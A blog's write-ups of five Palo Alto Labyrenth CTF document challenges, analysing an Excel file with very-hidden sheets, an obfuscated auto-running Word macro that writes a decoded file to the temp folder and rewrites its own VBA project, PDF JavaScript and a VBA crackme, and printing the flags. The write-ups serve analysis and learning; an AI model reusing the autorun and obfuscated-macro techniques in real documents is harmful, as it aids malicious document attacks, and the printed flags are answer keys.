now think about what you've done

2016-08-15
2016 Palo Alto Labyrenth CTF Doc 05

Again the fifth challenge is a zip file: 01E1B7BCFB39B4A666475991AF11C5762A489F9395C48B4E156526E1C6E4573F

But I have to first admit that I solved this one third, not fifth…in fact I got a message when I tried to submit the fifth challenge solution early that I had to do them in order. How did I do them out of order you ask? well remember in the very first document there was an extra .7z file inside the zip. This was a 7Zip archive that contained ALL of the challenges (go look for yourself).

So running it through FileId showed only a little bit of macros:

1
2
3
4
5
Sub excelulate()
Application.Quit
End Sub

So I crack the file open in Microsoft Excel….hmmm its only asking for a value and a button. You click the button and it says you stink and opens calc.exe. Wait what? there’s no macro’s how is this happening? So I open the file in eDoc. What is eDoc you say? its a GUI application for looking at the streams and folders inside an Ole Structured Storage container. I don’t have a link for it as the company that produced it no longer exists, but I still have the binary…besides a very similar tool is SSView by MiTec (in fact is in many ways better…but eDoc lets me search for hex/ascii values and do inline editing).

So perusing through the hex view of the Workbook stream (i.e. where the actual workbooks live) we can easily see calc.exe (around stream offset 0x5b90 as well as other places) and several other strings that were NOT on the three sheets when we opened Excel eariler….HIDDEN SHEETS.

So open up excel, right click on and of the sheet names and click unhide…a little dialog opens up and we can unhide the secret sheet. But wait it looks empty. So we start looking through the formula values and eventually you will find cell A14 with this formula:

1
=IF(RUN(supersecret!F13))

So here you need to know excel forumlas and you will see that the notation they’re using shows there is ANOTHER hidden sheet. what? how can this be you ask? well turns out that excel has something called a VeryHidden sheet (see KB213609, or just search the InterTubes yourself)

Hmmm, so how do we unhide a very hidden sheet? well just fix it in VBA. So there’s already a function excelulate so I simply changed it to:

1
2
3
Sub excelulate()
ActiveWorkbook.Sheets("supersecret").Visible = True
End Sub

and then run it!

so we look at the newly discovered sheet and we find the crazy formula in F13:

1
=RETURN(EXACT(CONCATENATE(D7,A5,C5,B4,E20,B6,A8,B8,A12,B10,E10,C9,B13,D12,C11,B16,A25,A18,B19,C20,B21,B2,D23,B24,E4,B26,D16,A21,C14,A16),Sheet1!B3))

So I copy this into another cell in the same sheet, but modifiy at so:

1
=CONCATENATE(D7,A5,C5,B4,E20,B6,A8,B8,A12,B10,E10,C9,B13,D12,C11,B16,A25,A18,B19,C20,B21,B2,D23,B24,E4,B26,D16,A21,C14,A16)

but wait it doesn’t run it! this sheet is showing the forumlas instead of running them. No problem, I go back to the Sheet1 sheet and pick an empty cell and enter the formula:

1
=supersecret!F16

and poof! we have this value:

1
PAN{Exc3l4=3x7r3me1y4An7a5+!c}

we enter it into the CTF dialog

BOOM

completed!

Read More

2016-08-15
2016 Palo Alto Labyrenth CTF Doc 04

Ok, so the fourth challenge is again a zip file (hash: 1A2570D5CC6E2C3A185E939DC49CB4B908B867E02AC84BF7ABB532B3395FB01A) and it contains a file fun.docm (hash: 4AE794A701D2F28BA7E6292F0463444F6A567CB7C26188A518270544252877FB). Now the first thing you need to know about the newer office file formats is that they are all zip files. So yes a DOCM and a XLSX and a PPTX, etc are all ZIP files with various contents pieces inside (see here for other zip based documents)

SIDENOTE: this is one of the very reasons that I wrote my FileId tool to begin with. Most file identification apps don’t go very much beyond magic headers. If we understand that the magic header gives us a container format (i.e. Ole Structured Storage [OLESS], ZIP, and many others), then we can parse that container and gain much more information. This is exactly what FileId does it understands OLESS files and ZIP files and has some ideas what to look for inside to figure out its true file type.

SIDE-SIDENOTE: Of course since its a container then we can do nasty things that were never intended to be done…like having a DOC, XLS, PPT all in a single file and all open completely different content depending on which app is opening it.

ok, back to the challenge at hand and DOCM file! we can verify its a DOCM by running it through FileId or we can simply run 7zip and extract the contents…which is what I did. Since its truly a DOCM we will find a file inside the WORD subfolder named vbaProject.bin (it actually doesn’t have to be named this, but I digress). I also happen to know that this is also an OLESS file, so again we can run it through FileId, but there is a known bug in FileId here…

So here we have a couple of choices as what to do next, but the underlying principle is to get to the VBA…here are several options (I did them all):

  1. use olevba.py in OleTools by Philippe Lagadec
  2. use the office object model to open and save the file in the DOC format (won’t run macro, but will maintain them)
  3. unzip the DOCM, edit the vbaProject.bin to remove the protections and alter the autorun functionname (how to do this will be covered in the DOC 05 writeup)

So lets assume you did one of those, you’d get the following macro parts:

=ThisDocument=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#If VBA7 And Win64 Then
Private Declare PtrSafe Function jFlnz8 Lib "winmm.dll" Alias "sndPlaySoundA" _
(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
#Else
Private Declare Function jFlnz8 Lib "winmm.dll" Alias "sndPlaySoundA" _
(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
#End If
Public cMSuxt As Variant
Public gkKg As Object
Public cN3r As String
Public kZ4gU8sc As String
Public qa317 As Integer
Sub znOIKcDsLlMKQVsnFfWaE2bHu18RdOmKFoVb()
Selection.WholeStory
Selection.Font.ColorIndex = (Selection.Font.ColorIndex + 1) Mod 15
If Selection.Font.ColorIndex Mod 2 = 0 Then
Set gkKg = CreateObject("Excel.Application")
gkKg.Speech.speak NpuXrzgq.Label1, True
gkKg.Quit
ElseIf Selection.Font.ColorIndex Mod 2 = 1 Then
adk49an = Environ("tmp") & "\" & "asdf"
jFlnz8 adk49an, 1
End If
Application.OnTime Now + TimeValue("00:00:01"), "znOIKcDsLlMKQVsnFfWaE2bHu18RdOmKFoVb"
End Sub
Private Sub UxKo3LivfGHxI2OtWa3KtqOgY6cRb5yrbR00(m4dYL, fviLw9)
On Error GoTo NavnYIF0:
Dim fjGeMmP8Z() As Byte
fjGeMmP8Z = Z1yiWeP.t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(m4dYL)
Z1yiWeP.pZVZ0Q8ygfA6jcSJRLEKZSyv40IDQzErCpah fjGeMmP8Z, fviLw9
NavnYIF0:
GoTo VadXU4
VadXU4:
End Sub
Private Function BqNFmKCS7cTPv9XNFOd2mCLrdqCfmdNm6HBz(dd) As Boolean
BqNFmKCS7cTPv9XNFOd2mCLrdqCfmdNm6HBz = False
On Error GoTo B3A:
Dim A4xcPiKtrr() As Byte
A4xcPiKtrr = Z1yiWeP.t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(dd)
BqNFmKCS7cTPv9XNFOd2mCLrdqCfmdNm6HBz = Z1yiWeP.Cj2XBWUOfIP7E9oOZKQEB0zFWe2Cf4NbfApB(A4xcPiKtrr)
B3A:
End Function
Private Function zoycqKJvqznJMeMpHe7Z61xYJfLLmbObxBVy()
zoycqKJvqznJMeMpHe7Z61xYJfLLmbObxBVy = None
For Each ok0I11 In ActiveDocument.VBProject.VBComponents
l = 1
Set gjvhSFe = ok0I11.CodeModule
Do While l < gjvhSFe.CountOfLines
za29rx = gjvhSFe.ProcOfLine(l, 0)
If za29rx <> "" Then
If BqNFmKCS7cTPv9XNFOd2mCLrdqCfmdNm6HBz(za29rx) Then
zoycqKJvqznJMeMpHe7Z61xYJfLLmbObxBVy = za29rx
GoTo CfHFE
End If
l = l + gjvhSFe.ProcCountLines(za29rx, 0)
Else
l = l + 1
End If
Loop
Next ok0I11
CfHFE:
End Function
Private Sub XiqyXdC809pP5esSrC633ag92w0x6otQylY0()
sN2l0P = zoycqKJvqznJMeMpHe7Z61xYJfLLmbObxBVy
If Not IsNull(sN2l0P) Then
For Each LHKwfvbUC In ActiveDocument.VBProject.VBComponents
If LHKwfvbUC.Type = 1 Then
HKwfvbU = 1
Set cm = LHKwfvbUC.CodeModule
Do While HKwfvbU < cm.CountOfLines
pn = cm.ProcOfLine(HKwfvbU, 0)
If pn <> "" Then
UxKo3LivfGHxI2OtWa3KtqOgY6cRb5yrbR00 pn, sN2l0P
HKwfvbU = HKwfvbU + cm.ProcCountLines(pn, 0)
Else
HKwfvbU = HKwfvbU + 1
End If
Loop
End If
Next LHKwfvbUC
End If
zkceuV405Q5LjUp587OYxTI7OR9zTyPdvz8k
End Sub
Private Function OcbCTRJiqmq8ZHdtwfA1hsuje7UPUwkL1TcL(e2qBnJA1D, GNheMViA)
df = Environ("tmp") & "\" & e2qBnJA1D
Dim CiuxGXWXyEUw4() As Byte
CiuxGXWXyEUw4 = Z1yiWeP.t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(GNheMViA)
Open df For Binary Access Write As #1
Put #1, , CiuxGXWXyEUw4
Close #1
OcbCTRJiqmq8ZHdtwfA1hsuje7UPUwkL1TcL = df
End Function
Private Sub zkceuV405Q5LjUp587OYxTI7OR9zTyPdvz8k()
yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5
Selection.WholeStory
Selection.Delete
Selection.TypeText NpuXrzgq.Label1
Selection.WholeStory
Selection.Font.Size = 72
znOIKcDsLlMKQVsnFfWaE2bHu18RdOmKFoVb
End Sub
Private Sub yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5()
cMSuxt = Array(OcbCTRJiqmq8ZHdtwfA1hsuje7UPUwkL1TcL("asdf", NpuXrzgq.assda))
kZ4gU8sc = NpuXrzgq.Label1
End Sub
Public Sub Document_Open()
On Error GoTo sjjQMD:
If ActiveDocument.VBProject.VBComponents.Count > 4 Then
XiqyXdC809pP5esSrC633ag92w0x6otQylY0
Else
zkceuV405Q5LjUp587OYxTI7OR9zTyPdvz8k
End If
sjjQMD:
If err.Number = 6068 Or err.Number = 50289 Then
zkceuV405Q5LjUp587OYxTI7OR9zTyPdvz8k
Else
Resume Next
End If
End Sub

=Z1yiWeP=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
Attribute VB_Name = "Z1yiWeP"
Function d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql(JwFeyAb5x, AgkWcn As Byte) As Variant
Dim bzTec() As Byte
ReDim bzTec(UBound(JwFeyAb5x))
For cz9vzhBR = 0 To UBound(JwFeyAb5x)
bzTec(cz9vzhBR) = JwFeyAb5x(cz9vzhBR) Xor AgkWcn
Next
d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql = bzTec
End Function
Private Sub ir0a6FeeF0LUThieRM7v6qxfWFJD1dT6BzDH()
Dim opy7ej As VBIDE.VBProject
Dim PiO3rcWe As VBIDE.VBComponent
Set opy7ej = ActiveDocument.VBProject
Set PiO3rcWe = opy7ej.VBComponents("IadnoxRap3")
opy7ej.VBComponents.Remove PiO3rcWe
End Sub
Function YhGEH9M4EBM4CJgXjOsrcHsa(u48G As Byte, G6NK) As Variant
YhGEH9M4EBM4CJgXjOsrcHsa = d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql(G6NK, u48G)
End Function
Function lT6fYsPEvHPdOsRZuM6Mn5DTumMvEfSGHnSo(sHZF70G) As String
TPjEpV = ""
For cz9vzhBR = 1 To UBound(sHZF70G)
TPjEpV = TPjEpV & StrConv(sHZF70G(cz9vzhBR), 64)
Next
lT6fYsPEvHPdOsRZuM6Mn5DTumMvEfSGHnSo = StrConv(sHZF70G, 64)
End Function
Function oDF26uAC8jD8UVkZDlzov3c05bVN8upeerTR(Rfn10hWpA, XPbV8Rj5Q) As Boolean
If UBound(Rfn10hWpA) = UBound(XPbV8Rj5Q) Then
oDF26uAC8jD8UVkZDlzov3c05bVN8upeerTR = True
For z5PQAfu9 = 0 To UBound(Rfn10hWpA)
If (Rfn10hWpA(z5PQAfu9) <> XPbV8Rj5Q(z5PQAfu9)) Then
oDF26uAC8jD8UVkZDlzov3c05bVN8upeerTR = False
z5PQAfu9 = UBound(Rfn10hWpA)
End If
Next z5PQAfu9
Else
oDF26uAC8jD8UVkZDlzov3c05bVN8upeerTR = False
End If
End Function
Private Sub DGOoR0P7MooO533jiHhTv1sgIoOtbjkzd57H()
Dim yQnfle As VBIDE.VBProject
Dim TQhuHj As VBIDE.VBComponent
Set yQnfle = ActiveDocument.VBProject
Set TQhuHj = yQnfle.VBComponents.Add(1)
TQhuHj.CodeModule.InsertLines 1, lT6fYsPEvHPdOsRZuM6Mn5DTumMvEfSGHnSo( _
d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql(t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(U8pblvDZuAh8GY.TextBox1 _
), U8pblvDZuAh8GY.TextBox1.Left))
TQhuHj.Name = "IadnoxRap3"
End Sub
Function bSaj5R3JtfzBByy8fhXtaHSvTG2C9luMFjIk(ToEZKjU, qSFa4f) As Variant
Dim Qteou7() As Byte
ReDim Qteou7(UBound(ToEZKjU))
For Uvhtuj = 0 To UBound(ToEZKjU)
Qteou7(Uvhtuj) = ToEZKjU(Uvhtuj) Xor qSFa4f(Uvhtuj)
Next
bSaj5R3JtfzBByy8fhXtaHSvTG2C9luMFjIk = Qteou7
End Function
Function Cj2XBWUOfIP7E9oOZKQEB0zFWe2Cf4NbfApB(nuQXoad42c5)
Cj2XBWUOfIP7E9oOZKQEB0zFWe2Cf4NbfApB = False
Dim yTV2li() As Byte
yTV2li = Z1yiWeP.d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql(nuQXoad42c5, U8pblvDZuAh8GY.HelpContextId)
Dim VGmMTyf() As Byte
VGmMTyf = Z1yiWeP.YhGEH9M4EBM4CJgXjOsrcHsa(Int(U8pblvDZuAh8GY.ScrollHeight), yTV2li)
If oDF26uAC8jD8UVkZDlzov3c05bVN8upeerTR(VGmMTyf, t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(U8pblvDZuAh8GY.Label1.Caption)) Then
Cj2XBWUOfIP7E9oOZKQEB0zFWe2Cf4NbfApB = True
End If
End Function
Function t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(qqZUlc9)
aexjT = Trim(qqZUlc9)
Set vW3zM = CreateObject(StrReverse("tnemucoDMOD.2LMXSM"))
Set ugBi6C = vW3zM.createElement("b64")
ugBi6C.dataType = "bin.base" + CStr(vbUnicode)
ugBi6C.Text = aexjT
t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG = ugBi6C.nodeTypedValue
Set ugBi6C = Nothing
Set vW3zM = Nothing
End Function
Sub XWn5TNdoykQb0QoitVEG7sLOxIRSi97XmqmM(EZ9KcDzT, pNRoZP57xLx)
Dim ang8rjzwn() As Byte
ang8rjzwn = Z1yiWeP.d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql(EZ9KcDzT, U8pblvDZuAh8GY.ScrollWidth)
Dim upnFZMT9P() As Byte
upnFZMT9P = Z1yiWeP.YhGEH9M4EBM4CJgXjOsrcHsa(U8pblvDZuAh8GY.Zoom, ang8rjzwn)
Dim s06() As Byte
s06 = Z1yiWeP.bSaj5R3JtfzBByy8fhXtaHSvTG2C9luMFjIk(upnFZMT9P, t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(pNRoZP57xLx))
If Z1yiWeP.oDF26uAC8jD8UVkZDlzov3c05bVN8upeerTR(s06, Z1yiWeP.t5ksdVMEuR2gVAPtbKyAxgbL2dy0UBt64qQG(StrReverse(U8pblvDZuAh8GY.Tag))) Then
MsgBox Z1yiWeP.lT6fYsPEvHPdOsRZuM6Mn5DTumMvEfSGHnSo(EZ9KcDzT)
End If
End Sub
Sub pZVZ0Q8ygfA6jcSJRLEKZSyv40IDQzErCpah(tnfbhVCs, AjkbXE)
XWn5TNdoykQb0QoitVEG7sLOxIRSi97XmqmM tnfbhVCs, AjkbXE
End Sub

so there’s a bunch of stuff…now what. Well I spent waaayyy to much time deobfuscating & renaming every function to something more meaningful and useful. So I have a DOCM that is cleanedup and safe to open (i.e. no Document_Open subroutine, no passwords or anything). Get it here: 19E8BE71029D5900C54EB2213E097BC442003C1F4F5E7940B71F9902A00270FB.

like I said I spent too much time going over each function, figuring out what it does and renaming it (yes I wrote some tools for this, but they’re not ready to share).

If you look at the code in the clean-up document take a look at the last few functions in the `mod1’ module:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub fnCheck(fnB64Arry, customKey)
Dim tmp1() As Byte
tmp1 = mod1.fnSimpleXor(fnB64Arry, frm2.ScrollWidth)
Dim tmp2() As Byte
tmp2 = mod1.fnSimpleXor_wrapper(frm2.Zoom, tmp1)
Dim tmp3() As Byte
tmp3 = mod1.fnCustomXor(tmp2, fnToBase64Ary(customKey))
Dim a1 As String: a1 = mod1.toString(fnB64Arry)
Dim a2 As String: a2 = mod1.toString(tmp3)
Dim a3 As String: a3 = mod1.toString(mod1.fnToBase64Ary(StrReverse(frm2.Tag)))
If mod1.fnIsB64Identicals(tmp3, mod1.fnToBase64Ary(StrReverse(frm2.Tag))) Then
MsgBox a2
End If
End Sub
Sub test()
b64 = Split("A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,+,/", ",")
customKey = "yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5"
Dim tmp() As Byte
Dim strBase As String: strBase = "XJCR/DogZt7bduvvusJgAQu6QX9DmtKN+bZB"
fnB64Arry = mod1.fnToBase64Ary(strBase)
Dim tmp1() As Byte
tmp1 = mod1.fnSimpleXor(fnB64Arry, frm2.ScrollWidth)
Dim tmp2() As Byte
tmp2 = mod1.fnSimpleXor_wrapper(frm2.Zoom, tmp1)
Dim tmp3() As Byte
tmp3 = mod1.fnCustomXor(tmp2, fnToBase64Ary(customKey))
MsgBox mod1.toString(tmp3)
End Sub

The test subroutine is something that I put in to get the key out, but I figured all the parts and peices by going through each function and figuring out what they do, where it was pulling values from and what the values were in some cases. The only suggestion I have is get good at debugging!

After that I noticed an oddity in this fnCheck function (orginally it was named XWn5TNdoykQb0QoitVEG7sLOxIRSi97XmqmM) - it would do a check and then show a message box. Hmm, I wonder what the value would have to be in order to have the message box show? Well since I had just done a brute force exercise a few minutes eairler (see DOC 02) I started using the brute force routine to get out the expected value….but after a few minutes it hit me…wait I have the exact value its looking for… the value of ‘frm2.Tag’

so we take that value:

1
BZb+NKtmD9XQ6uQAgJsuvvudb7tZgoD/RCJX

reverse it and run it through and we get:

1
PAN{VBA=V3ryb!gAdv3n7ur3s!}

type it in the submission box

BOOM

and we get DOC 05

Read More

2016-08-15
2016 Palo Alto Labyrenth CTF Doc 03

So we get the third zip file which contains file named “gooby.pdf” (hash:3FB332A27A28AF95187F45D79EC8A08ADEF1A4AAD0D4DDD26B832A15CE9DB91A). Well now we need to turn to PDF tools.

I admit that I’m not as well versed with the internal structures of PDF’s as I am with Office Documents, but their structure is also simplier. So I first tried PDFStreamDumper by David Zimmer, but it didn’t see the javascript intially. Then I tried peepdf, but again it didn’t get what I needed intially, then I tried the interactive mode and ignoring errors flags:

1
python peepdf.py -f -l -i goody.pdf

So peepdf loads the file, and shows some “stuff”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
File: gooby.pdf
MD5: 92b562e12560591699e37b6c2533c191
SHA1: ca2250317e4d07a6096282035275256896bcdb2e
SHA256: f575fc6580c192088d60bed8be1791eaa7e5c625331d7c67683f5efb59551247
Size: 119412 bytes
Version: 1.7
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 11
Streams: 7
URIs: 0
Comments: 0
Errors: 3
Version 0:
Catalog: 2
Info: 4
Objects (11): [6, 8, 9, 10, 11, 12, 13, 14, 15]
Streams (7): [11, 12, 13, 14, 15, 9, 12]
Xref streams (1): [15]
Encoded (7): [11, 12, 13, 14, 15, 9, 12]
Objects with JS code (1): [11]
Suspicious elements:
/AA (1): [6]
/JS (1): [11]
/JavaScript (1): [11]

so based on this output it looks like object #11 has some javascript, so I type:

1
object 11

and get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
var asdf = "NuemnaufOmt8wek4obWeashiMeivanJeatt6";
var ddas = "bodcuicMong2";
var dda22d = "bosOjparj1"
var obGeujRiary = "akPatMyib5EbJetEteip9idWoncainil7"
function Iadghod3(s) {
var v = 0;
for (var i=0; i<4; i++) v |= s.charCodeAt(i) << i*8;
return isNaN(v) ? 0 : v;
}
function Vonsheac6(v) {
var s = String.fromCharCode(v & 0xFF, v>>8 & 0xFF, v>>16 & 0xFF, v>>24 & 0xFF)
;
return s;
}
function RevUfPhas2(DepKacyuv7, ClashJit0) {
var v = new Array(2), k = new Array(4), s = "", i;
DepKacyuv7 = escape(DepKacyuv7);
for (var i=0; i<4; i++) k[i] = Iadghod3(ClashJit0.slice(i*4,(i+1)*4));
for (i=0; i<DepKacyuv7.length; i+=8) {
v[0] = Iadghod3(DepKacyuv7.slice(i,i+4));
v[1] = Iadghod3(DepKacyuv7.slice(i+4,i+8));
DikVivec2(v, k);
s += Vonsheac6(v[0]) + Vonsheac6(v[1]);
}
return s;
}
function jiUteFraj8(tydAcFod3, ClashJit0) {
var v = new Array(2), k = new Array(4), s = "", i;
for (var i=0; i<4; i++) k[i] = Iadghod3(ClashJit0.slice(i*4,(i+1)*4));
tydAcFod3 = tydAcFod3;
for (i=0; i<tydAcFod3.length; i+=8) {
v[0] = Iadghod3(tydAcFod3.slice(i,i+4));
v[1] = Iadghod3(tydAcFod3.slice(i+4,i+8));
AdCejMod9(v, k);
s += Vonsheac6(v[0]) + Vonsheac6(v[1]);
}
s = s.replace(/ +$/, '');
return unescape(s);
}
function DikVivec2(v, k) {
var y = v[0], z = v[1];
var delta = 0x9E3779B9, limit = delta*32, sum = 0;
while (sum != limit) {
y += (z<<4 ^ z>>>5)+z ^ sum+k[sum & 3];
sum += delta;
z += (y<<4 ^ y>>>5)+y ^ sum+k[sum>>>11 & 3];
}
v[0] = y; v[1] = z;
}
function AdCejMod9(v, k) {
var y = v[0], z = v[1];
var delta = 0x9E3779B9, sum = delta*32;
while (sum != 0) {
z -= (y<<4 ^ y>>>5)+y ^ sum+k[sum>>>11 & 3];
sum -= delta;
y -= (z<<4 ^ z>>>5)+z ^ sum+k[sum & 3];
}
v[0] = y; v[1] = z;
}
var atkopNersiv4 = RevUfPhas2(asdf, ddas);
var fakCapFod9 = jiUteFraj8(ddas, obGeujRiary)
var arnUftad4 = 0x41;
ItOvyof7 = ")5512{nn666o8.454#$o\".,n6 5\")~7|%\x106u6x\x16&\x19\"\x10";
var plain = "";
for (i = 0; i < ItOvyof7.length; i+=1){
plain += String.fromCharCode(ItOvyof7.charCodeAt(i) ^ arnUftad4);
}

so I fired up NodeJS and blindly run the javascript (tee hee hee). Of course nothing actually happens, but we can examine some varaibles…and the last variable output to the screen plain is a url: https://www.youtube.com/watch?v=dQw4w9WgXcQ which is a nice RickRoll. But lets look at what are the values of the other variables, in a nodeJS REPL we simply type: GLOBAL and we get (relevant only):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
...
asdf: 'NuemnaufOmt8wek4obWeashiMeivanJeatt6',
ddas: 'bodcuicMong2',
dda22d: 'bosOjparj1',
obGeujRiary: 'akPatMyib5EbJetEteip9idWoncainil7',
Iadghod3: [Function: Iadghod3],
Vonsheac6: [Function: Vonsheac6],
RevUfPhas2: [Function: RevUfPhas2],
jiUteFraj8: [Function: jiUteFraj8],
DikVivec2: [Function: DikVivec2],
AdCejMod9: [Function: AdCejMod9],
atkopNersiv4: '\u000bF©>„\u0013ä)bï#™Í×¾?ÝR¯"¸¨Ã\u0018=\u000fˆÞ\u0006Ô*|o-DX5¨',
fakCapFod9: 'Z\nùW\u0006Œ\u001c·såå­\u0017IC2',
arnUftad4: 65,
ItOvyof7: ')5512{nn666o8.454#$o".,n6 5")~7|%\u00106u6x\u0016&\u0019"\u0010',
plain: 'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
i: 43
}

hmmm…well if we look at the code the variables atkopNersiv4 and fakCapFod9 are not used in that final plain text RickRoll, neither is dda22d, so lets play with those for a bit….ok that’s enough of that…this didn’t go anywhere.

At this point I started to look at the parsing errors that the various tools had and trying to figure out why they weren’t parsing well. Instead of digging too deep here, I decided to see what happens if I round trip the pdf. I open in the Acrobat Reader DC, and save it out as a new file…then I run those existing tools and notice an interesting object:

1
2
3
4
<< /Type /Action
/S /JavaScript
/JS ■  i f ( e v e n t . v a l u e = = " P A N { g 0 o b y g o 0 b y d 0 0 w h 3 r 3 r u ? } " ) { a p p . a l e r t ( " y e s " ) ; } e l s e { a p p . a l e r t ( " n o " ) ; }
>>

well look at that, a PAN{*} value:

1
PAN{g0obygo0byd00wh3r3ru?}

enter it in and

BOOM

we get document #4

Read More

2016-08-15
2016 Palo Alto Labyrenth CTF Doc 02

So we solved the frist document and then they give us this…Document #2 (hash: ACCDF64EB1E96BE5A7C5F23DB6A74B88869E4F6C3B46D41F80B3063BF79AD05E)

So again, run it through FileId tool and get the VBA code out (using the XML or JSON output options).

1
2
3
4
5
6
7
8
Sub AutoOpen()
'
' crackme Macro
'
'
UserForm1.Show
End Sub

and

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Private Sub button_Click()
x = suchcrypto(key.Text, "General Vidal")
If x = "171,184,42,184,88,26,47,154,20,219,203,130,52,19,180,214,156,94,186,74,30,248,119,235,139,130,175,141,179,197,8,204,252," Then
MsgBox "Wow. Good Job! Such crack."
Else
MsgBox "U can do. Try harder..."
End If
End Sub
Function suchcrypto(sMessage, strKey)
Dim kLen, x, y, i, j, temp
Dim s(256), k(256)
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
Next
j = 0
For i = 0 To 255
j = (j + k(i) + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next
x = 0
y = 0
For i = 1 To 3072
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
Next
For i = 1 To Len(sMessage)
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
suchcrypto = suchcrypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
End Function

ok, so we show a form, get user input and then run the “button_Click“ subroutine…but look, we know what the answer should be when we read the IF statement. So basic algebra here…we know one of the two inputs, we have the function, and we know the output….we can brute force…

ugh, brute forcing…and in VBA…ok if I have to…sigh. In retrospect, I can think of several other ways to attack this “crypto” other than brute forcing, but that’s what I did in the moment.

1
2
3
4
5
6
7
8
9
10
Sub BruteEnForcer()
ans = "171,184,42,184,88,26,47,154,20,219,203,130,52,19,180,214,156,94,186,74,30,248,119,235,139,130,175,141,179,197,8,204,252,"
k = "General Vidal"
msg = ""
Do
Loop Until suchcrypto(msg, k) = ans
End Sub

ok, so now we have a simple logic/programming problem. We know what the result will be, but how can we figure out what the msg variable should be. How do we know when we are even close…are we going to iterate over all possible typable strings until we find a match? No, well we could, but no just no. You’ll notice there are a bunch of comma’s in the ‘answer’ string and based on the ‘decyption’ code it appends a comma after iterating over each letter in the message. So lets make that answer an array and go character by character until we get matches. I’m also going to limit it to alphanumeric characters, unless that doesn’t work. I would post by brute forcing code that I used, but I didn’t save it…so here’s some code that might work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Sub BruteEnForcer()
ans = "171,184,42,184,88,26,47,154,20,219,203,130,52,19,180,214,156,94,186,74,30,248,119,235,139,130,175,141,179,197,8,204,252,"
k = "General Vidal"
ansArry = Split(ans, ",")
msg = ""
leng = 1
Do
For i = 32 To 126
tmpMsg = msg + Chr(i)
tmp = Split(suchcrypto(tmpMsg, k), ",")
If tmp(leng) = ansArry(leng) Then
msg = tmpMsg
leng = leng + 1
Exit For
End If
Next i
Loop Until suchcrypto(msg, k) = ans
MsgBox msg
End Sub

which when run gives us the following output:

1
PAN{L4$t_Night_@f@iry_Vizited_M3}

gee that looks like it might be it…

BOOM

and we move on to doc #3

Read More

2016-08-15
2016 Palo Alto Labyrenth CTF - Doc 01

On 2016-07-15 at 5pm EST Palo Alto Networks started a Capture the Flag competition with cash prizes called PAN Labyrenth CTF. When I looked at the challenges I noticed that there was a Documents track, and since there was a cash prize to the frist person to complete a given track I thought I’d give it a go..hey $1000 for a few hours is not bad. It only took me a few hours (actually more than I intended because I got stuck overthinking one of the problems), but I don’t think I was the first one to complete the track. Regardless, I thought I’d share the steps I went through to solve each of the challenges.

